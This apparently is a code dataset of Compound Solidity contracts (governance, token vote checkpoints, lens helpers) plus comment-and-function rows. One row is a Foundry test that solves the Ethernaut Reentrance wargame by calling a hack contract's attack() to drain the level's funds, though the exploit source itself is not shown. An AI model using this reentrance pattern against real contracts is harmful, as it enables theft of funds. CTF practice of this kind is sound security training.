uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Compound Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 400000e18; } // 400,000 = 4% of Comp
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of Comp
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address comp_, address guardian_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
pragma solidity ^0.5.16;
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
import "../CErc20.sol";
import "../CToken.sol";
import "../PriceOracle.sol";
import "../EIP20Interface.sol";
import "../Governance/GovernorAlpha.sol";
import "../Governance/Comp.sol";
interface ComptrollerLensInterface {
function markets(address) external view returns (bool, uint);
function oracle() external view returns (PriceOracle);
function getAccountLiquidity(address) external view returns (uint, uint, uint);
function getAssetsIn(address) external view returns (CToken[] memory);
function claimComp(address) external;
function compAccrued(address) external view returns (uint);
function compSpeeds(address) external view returns (uint);
function compSupplySpeeds(address) external view returns (uint);
function compBorrowSpeeds(address) external view returns (uint);
function borrowCaps(address) external view returns (uint);
}
interface GovernorBravoInterface {
struct Receipt {
bool hasVoted;
uint8 support;
uint96 votes;
}
struct Proposal {
uint id;
address proposer;
uint eta;
uint startBlock;
uint endBlock;
uint forVotes;
uint againstVotes;
uint abstainVotes;
bool canceled;
bool executed;
}
function getActions(uint proposalId) external view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas);
function proposals(uint proposalId) external view returns (Proposal memory);
function getReceipt(uint proposalId, address voter) external view returns (Receipt memory);
}
contract CompoundLens {
struct CTokenMetadata {
address cToken;
uint exchangeRateCurrent;
uint supplyRatePerBlock;
uint borrowRatePerBlock;
uint reserveFactorMantissa;
uint totalBorrows;
uint totalReserves;
uint totalSupply;
uint totalCash;
bool isListed;
uint collateralFactorMantissa;
address underlyingAssetAddress;
uint cTokenDecimals;
uint underlyingDecimals;
uint compSpeed;
uint borrowCap;
}
function getCompSpeeds(ComptrollerLensInterface comptroller, CToken cToken) internal returns (uint, uint) {
// Getting comp speeds is gnarly due to not every network having the
// split comp speeds from Proposal 62 and other networks don't even
// have comp speeds.
uint compSupplySpeed = 0;
(bool compSupplySpeedSuccess, bytes memory compSupplySpeedReturnData) =
address(comptroller).call(
abi.encodePacked(
comptroller.compSupplySpeeds.selector,
abi.encode(address(cToken))
)
);
if (compSupplySpeedSuccess) {
compSupplySpeed = abi.decode(compSupplySpeedReturnData, (uint));
}
uint compBorrowSpeed = 0;
(bool compBorrowSpeedSuccess, bytes memory compBorrowSpeedReturnData) =
address(comptroller).call(
abi.encodePacked(
comptroller.compBorrowSpeeds.selector,
abi.encode(address(cToken))
)
);
if (compBorrowSpeedSuccess) {
compBorrowSpeed = abi.decode(compBorrowSpeedReturnData, (uint));
}
if (!compSupplySpeedSuccess || compBorrowSpeedSuccess) {
(bool compSpeedSuccess, bytes memory compSpeedReturnData) =
address(comptroller).call(
abi.encodePacked(
comptroller.compSpeeds.selector,
abi.encode(address(cToken))
)
);
if (compSpeedSuccess) {
compSupplySpeed = compBorrowSpeed = abi.decode(compSpeedReturnData, (uint));
}
}
return (compSupplySpeed, compBorrowSpeed);
}
function cTokenMetadata(CToken cToken) public returns (CTokenMetadata memory) {
uint exchangeRateCurrent = cToken.exchangeRateCurrent();
ComptrollerLensInterface comptroller = ComptrollerLensInterface(address(cToken.comptroller()));
(bool isListed, uint collateralFactorMantissa) = comptroller.markets(address(cToken));
address underlyingAssetAddress;
uint underlyingDecimals;
if (compareStrings(cToken.symbol(), "cETH")) {
underlyingAssetAddress = address(0);
underlyingDecimals = 18;
} else {
CErc20 cErc20 = CErc20(address(cToken));
underlyingAssetAddress = cErc20.underlying();
underlyingDecimals = EIP20Interface(cErc20.underlying()).decimals();
}
(uint compSupplySpeed, uint compBorrowSpeed) = getCompSpeeds(comptroller, cToken);
//TODO: This needs to be fixed the correct way. For now we'll continue to return a single field.
uint compSpeed = compSupplySpeed;
uint borrowCap = 0;
(bool borrowCapSuccess, bytes memory borrowCapReturnData) =
address(comptroller).call(
abi.encodePacked(
comptroller.borrowCaps.selector,
abi.encode(address(cToken))
)
);
if (borrowCapSuccess) {
borrowCap = abi.decode(borrowCapReturnData, (uint));
}
return CTokenMetadata({
cToken: address(cToken),
exchangeRateCurrent: exchangeRateCurrent,
supplyRatePerBlock: cToken.supplyRatePerBlock(),
borrowRatePerBlock: cToken.borrowRatePerBlock(),
reserveFactorMantissa: cToken.reserveFactorMantissa(),
totalBorrows: cToken.totalBorrows(),
totalReserves: cToken.totalReserves(),
totalSupply: cToken.totalSupply(),
totalCash: cToken.getCash(),
isListed: isListed,
collateralFactorMantissa: collateralFactorMantissa,
underlyingAssetAddress: underlyingAssetAddress,
cTokenDecimals: cToken.decimals(),
underlyingDecimals: underlyingDecimals,
compSpeed: compSpeed,
borrowCap: borrowCap
});
}
function cTokenMetadataAll(CToken[] calldata cTokens) external returns (CTokenMetadata[] memory) {
uint cTokenCount = cTokens.length;
CTokenMetadata[] memory res = new CTokenMetadata[](cTokenCount);
for (uint i = 0; i < cTokenCount; i++) {
res[i] = cTokenMetadata(cTokens[i]);
}
return res;
}
struct CTokenBalances {
address cToken;
uint balanceOf;
uint borrowBalanceCurrent;
uint balanceOfUnderlying;
uint tokenBalance;
uint tokenAllowance;
}
function cTokenBalances(CToken cToken, address payable account) public returns (CTokenBalances memory) {
uint balanceOf = cToken.balanceOf(account);
uint borrowBalanceCurrent = cToken.borrowBalanceCurrent(account);
uint balanceOfUnderlying = cToken.balanceOfUnderlying(account);
uint tokenBalance;
uint tokenAllowance;
if (compareStrings(cToken.symbol(), "cETH")) {
tokenBalance = account.balance;
tokenAllowance = account.balance;
} else {
CErc20 cErc20 = CErc20(address(cToken));
EIP20Interface underlying = EIP20Interface(cErc20.underlying());
tokenBalance = underlying.balanceOf(account);
tokenAllowance = underlying.allowance(account, address(cToken));
}
return CTokenBalances({
cToken: address(cToken),
balanceOf: balanceOf,
borrowBalanceCurrent: borrowBalanceCurrent,
balanceOfUnderlying: balanceOfUnderlying,
tokenBalance: tokenBalance,
tokenAllowance: tokenAllowance
});
}
function cTokenBalancesAll(CToken[] calldata cTokens, address payable account) external returns (CTokenBalances[] memory) {
uint cTokenCount = cTokens.length;
CTokenBalances[] memory res = new CTokenBalances[](cTokenCount);
for (uint i = 0; i < cTokenCount; i++) {
res[i] = cTokenBalances(cTokens[i], account);
}
return res;
}
struct CTokenUnderlyingPrice {
address cToken;
uint underlyingPrice;
}
function cTokenUnderlyingPrice(CToken cToken) public returns (CTokenUnderlyingPrice memory) {
ComptrollerLensInterface comptroller = ComptrollerLensInterface(address(cToken.comptroller()));
PriceOracle priceOracle = comptroller.oracle();
return CTokenUnderlyingPrice({
cToken: address(cToken),
underlyingPrice: priceOracle.getUnderlyingPrice(cToken)
});
}
function cTokenUnderlyingPriceAll(CToken[] calldata cTokens) external returns (CTokenUnderlyingPrice[] memory) {
uint cTokenCount = cTokens.length;
CTokenUnderlyingPrice[] memory res = new CTokenUnderlyingPrice[](cTokenCount);
for (uint i = 0; i < cTokenCount; i++) {
res[i] = cTokenUnderlyingPrice(cTokens[i]);
}
return res;
}
struct AccountLimits {
CToken[] markets;
uint liquidity;
uint shortfall;
}
function getAccountLimits(ComptrollerLensInterface comptroller, address account) public returns (AccountLimits memory) {
(uint errorCode, uint liquidity, uint shortfall) = comptroller.getAccountLiquidity(account);
require(errorCode == 0);
return AccountLimits({
markets: comptroller.getAssetsIn(account),
liquidity: liquidity,
shortfall: shortfall
});
}
struct GovReceipt {
uint proposalId;
bool hasVoted;
bool support;
uint96 votes;
}
function getGovReceipts(GovernorAlpha governor, address voter, uint[] memory proposalIds) public view returns (GovReceipt[] memory) {
uint proposalCount = proposalIds.length;
GovReceipt[] memory res = new GovReceipt[](proposalCount);
for (uint i = 0; i < proposalCount; i++) {
GovernorAlpha.Receipt memory receipt = governor.getReceipt(proposalIds[i], voter);
res[i] = GovReceipt({
proposalId: proposalIds[i],
hasVoted: receipt.hasVoted,
support: receipt.support,
votes: receipt.votes
});
}
return res;
}
struct GovBravoReceipt {
uint proposalId;
bool hasVoted;
uint8 support;
uint96 votes;
}
function getGovBravoReceipts(GovernorBravoInterface governor, address voter, uint[] memory proposalIds) public view returns (GovBravoReceipt[] memory) {
uint proposalCount = proposalIds.length;
GovBravoReceipt[] memory res = new GovBravoReceipt[](proposalCount);
for (uint i = 0; i < proposalCount; i++) {
GovernorBravoInterface.Receipt memory receipt = governor.getReceipt(proposalIds[i], voter);
res[i] = GovBravoReceipt({
proposalId: proposalIds[i],
hasVoted: receipt.hasVoted,
support: receipt.support,
votes: receipt.votes
});
}
return res;
}
struct GovProposal {
uint proposalId;
address proposer;
uint eta;
address[] targets;
uint[] values;
string[] signatures;
bytes[] calldatas;
uint startBlock;
uint endBlock;
uint forVotes;
uint againstVotes;
bool canceled;
bool executed;
}
function setProposal(GovProposal memory res, GovernorAlpha governor, uint proposalId) internal view {
(
,
address proposer,
uint eta,
uint startBlock,
uint endBlock,
uint forVotes,
uint againstVotes,
bool canceled,
bool executed
) = governor.proposals(proposalId);
res.proposalId = proposalId;
res.proposer = proposer;
res.eta = eta;
res.startBlock = startBlock;
res.endBlock = endBlock;
res.forVotes = forVotes;
res.againstVotes = againstVotes;
res.canceled = canceled;
res.executed = executed;
}
function getGovProposals(GovernorAlpha governor, uint[] calldata proposalIds) external view returns (GovProposal[] memory) {
GovProposal[] memory res = new GovProposal[](proposalIds.length);
for (uint i = 0; i < proposalIds.length; i++) {
(
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas
) = governor.getActions(proposalIds[i]);
res[i] = GovProposal({
proposalId: 0,
proposer: address(0),
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: 0,
endBlock: 0,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
setProposal(res[i], governor, proposalIds[i]);
}
return res;
}
struct GovBravoProposal {
uint proposalId;
address proposer;
uint eta;
address[] targets;
uint[] values;
string[] signatures;
bytes[] calldatas;
uint startBlock;
uint endBlock;
uint forVotes;
uint againstVotes;
uint abstainVotes;
bool canceled;
bool executed;
}
function setBravoProposal(GovBravoProposal memory res, GovernorBravoInterface governor, uint proposalId) internal view {
GovernorBravoInterface.Proposal memory p = governor.proposals(proposalId);
res.proposalId = proposalId;
res.proposer = p.proposer;
res.eta = p.eta;
res.startBlock = p.startBlock;
res.endBlock = p.endBlock;
res.forVotes = p.forVotes;
res.againstVotes = p.againstVotes;
res.abstainVotes = p.abstainVotes;
res.canceled = p.canceled;
res.executed = p.executed;
}
function getGovBravoProposals(GovernorBravoInterface governor, uint[] calldata proposalIds) external view returns (GovBravoProposal[] memory) {
GovBravoProposal[] memory res = new GovBravoProposal[](proposalIds.length);
for (uint i = 0; i < proposalIds.length; i++) {
(
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas
) = governor.getActions(proposalIds[i]);
res[i] = GovBravoProposal({
proposalId: 0,
proposer: address(0),
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: 0,
endBlock: 0,
forVotes: 0,
againstVotes: 0,
abstainVotes: 0,
canceled: false,
executed: false
});
setBravoProposal(res[i], governor, proposalIds[i]);
}
return res;
}
struct CompBalanceMetadata {
uint balance;
uint votes;
address delegate;
}
function getCompBalanceMetadata(Comp comp, address account) external view returns (CompBalanceMetadata memory) {
return CompBalanceMetadata({
balance: comp.balanceOf(account),
votes: uint256(comp.getCurrentVotes(account)),
delegate: comp.delegates(account)
});
}
struct CompBalanceMetadataExt {
uint balance;
uint votes;
address delegate;
uint allocated;
}
function getCompBalanceMetadataExt(Comp comp, ComptrollerLensInterface comptroller, address account) external returns (CompBalanceMetadataExt memory) {
uint balance = comp.balanceOf(account);
comptroller.claimComp(account);
uint newBalance = comp.balanceOf(account);
uint accrued = comptroller.compAccrued(account);
uint total = add(accrued, newBalance, "sum comp total");
uint allocated = sub(total, balance, "sub allocated");
return CompBalanceMetadataExt({
balance: balance,
votes: uint256(comp.getCurrentVotes(account)),
delegate: comp.delegates(account),
allocated: allocated
});
}
struct CompVotes {
uint blockNumber;
uint votes;
}
function getCompVotes(Comp comp, address account, uint32[] calldata blockNumbers) external view returns (CompVotes[] memory) {
CompVotes[] memory res = new CompVotes[](blockNumbers.length);
for (uint i = 0; i < blockNumbers.length; i++) {
res[i] = CompVotes({
blockNumber: uint256(blockNumbers[i]),
votes: uint256(comp.getPriorVotes(account, blockNumbers[i]))
});
}
return res;
}
function compareStrings(string memory a, string memory b) internal pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
}
pragma solidity ^0.5.16;
import "./CToken.sol";
contract PriceOracle {
/// @notice Indicator that this is a PriceOracle contract (for inspection)
bool public constant isPriceOracle = true;
/**
* @notice Get the underlying price of a cToken asset
* @param cToken The cToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(CToken cToken) external view returns (uint);
}
| Getting comp speeds is gnarly due to not every network having the split comp speeds from Proposal 62 and other networks don't even have comp speeds. | function getCompSpeeds(ComptrollerLensInterface comptroller, CToken cToken) internal returns (uint, uint) {
uint compSupplySpeed = 0;
(bool compSupplySpeedSuccess, bytes memory compSupplySpeedReturnData) =
address(comptroller).call(
abi.encodePacked(
comptroller.compSupplySpeeds.selector,
abi.encode(address(cToken))
)
);
if (compSupplySpeedSuccess) {
compSupplySpeed = abi.decode(compSupplySpeedReturnData, (uint));
}
uint compBorrowSpeed = 0;
(bool compBorrowSpeedSuccess, bytes memory compBorrowSpeedReturnData) =
address(comptroller).call(
abi.encodePacked(
comptroller.compBorrowSpeeds.selector,
abi.encode(address(cToken))
)
);
if (compBorrowSpeedSuccess) {
compBorrowSpeed = abi.decode(compBorrowSpeedReturnData, (uint));
}
if (!compSupplySpeedSuccess || compBorrowSpeedSuccess) {
(bool compSpeedSuccess, bytes memory compSpeedReturnData) =
address(comptroller).call(
abi.encodePacked(
comptroller.compSpeeds.selector,
abi.encode(address(cToken))
)
);
if (compSpeedSuccess) {
compSupplySpeed = compBorrowSpeed = abi.decode(compSpeedReturnData, (uint));
}
}
return (compSupplySpeed, compBorrowSpeed);
}
| 14,724,814 |
./full_match/5/0xfBB239082cDdd72A97511465A61449521F14E6eC/sources/contracts/L1/fraud-proof/Rollup.sol | TODO: account for prev assertion, gas return block.number + confirmationPeriod; | function newAssertionDeadline() private returns (uint256) {
address scc = resolve("StateCommitmentChain");
(bool success, bytes memory data) = scc.call(
abi.encodeWithSignature("FRAUD_PROOF_WINDOW()")
);
require(success,"call FRAUD_PROOF_WINDOW() failed");
uint256 confirmationWindow = uint256(bytes32(data));
return block.timestamp + confirmationWindow;
}
| 1,921,925 |
pragma solidity ^0.8.10;
import "ds-test/test.sol";
import "../Reentrance/Reentrance.sol";
import "../Reentrance/ReentranceHack.sol";
import "../Reentrance/ReentranceFactory.sol";
import "../Ethernaut.sol";
interface CheatCodes {
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
}
contract ReentranceTest is DSTest {
CheatCodes cheats = CheatCodes(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
Ethernaut ethernaut;
ReentranceHack reentranceHack;
ReentranceFactory reentranceFactory;
address levelAddress;
bool levelSuccessfullyPassed;
function setUp() public {
// Setup instances of the Ethernaut & ReentranceFactory contracts
ethernaut = new Ethernaut();
reentranceFactory = new ReentranceFactory();
}
function testReentranceHack() public {
// Register the Ethernaut Reentrance level (this would have already been done on Rinkeby)
ethernaut.registerLevel(reentranceFactory);
// Add some ETH to the 0 address which we will be using
payable(address(0)).transfer(3 ether);
// Use the startPrank cheat which enables us to excute subsequent call as another address (https://onbjerg.github.io/foundry-book/reference/cheatcodes.html)
cheats.startPrank(address(0));
// Set up the Level
levelAddress = ethernaut.createLevelInstance{value: 1 ether}(reentranceFactory);
// Cast the level address to the Reentrance contract class
Reentrance ethernautReentrance = Reentrance(payable(levelAddress));
// Create ReentranceHack contract
reentranceHack = new ReentranceHack(levelAddress);
// Call the attack function
reentranceHack.attack{value: 0.4 ether}();
// Submit level to the core Ethernaut contract
levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress));
// Stop the prank - calls with no longer come from address(0)
cheats.stopPrank();
// Verify the level has passed
assert(levelSuccessfullyPassed);
}
} | Setup instances of the Ethernaut & ReentranceFactory contracts | function setUp() public {
ethernaut = new Ethernaut();
reentranceFactory = new ReentranceFactory();
}
| 13,111,284 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.11;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ============================ FXS1559_AMO ===========================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Reviewer(s) / Contributor(s)
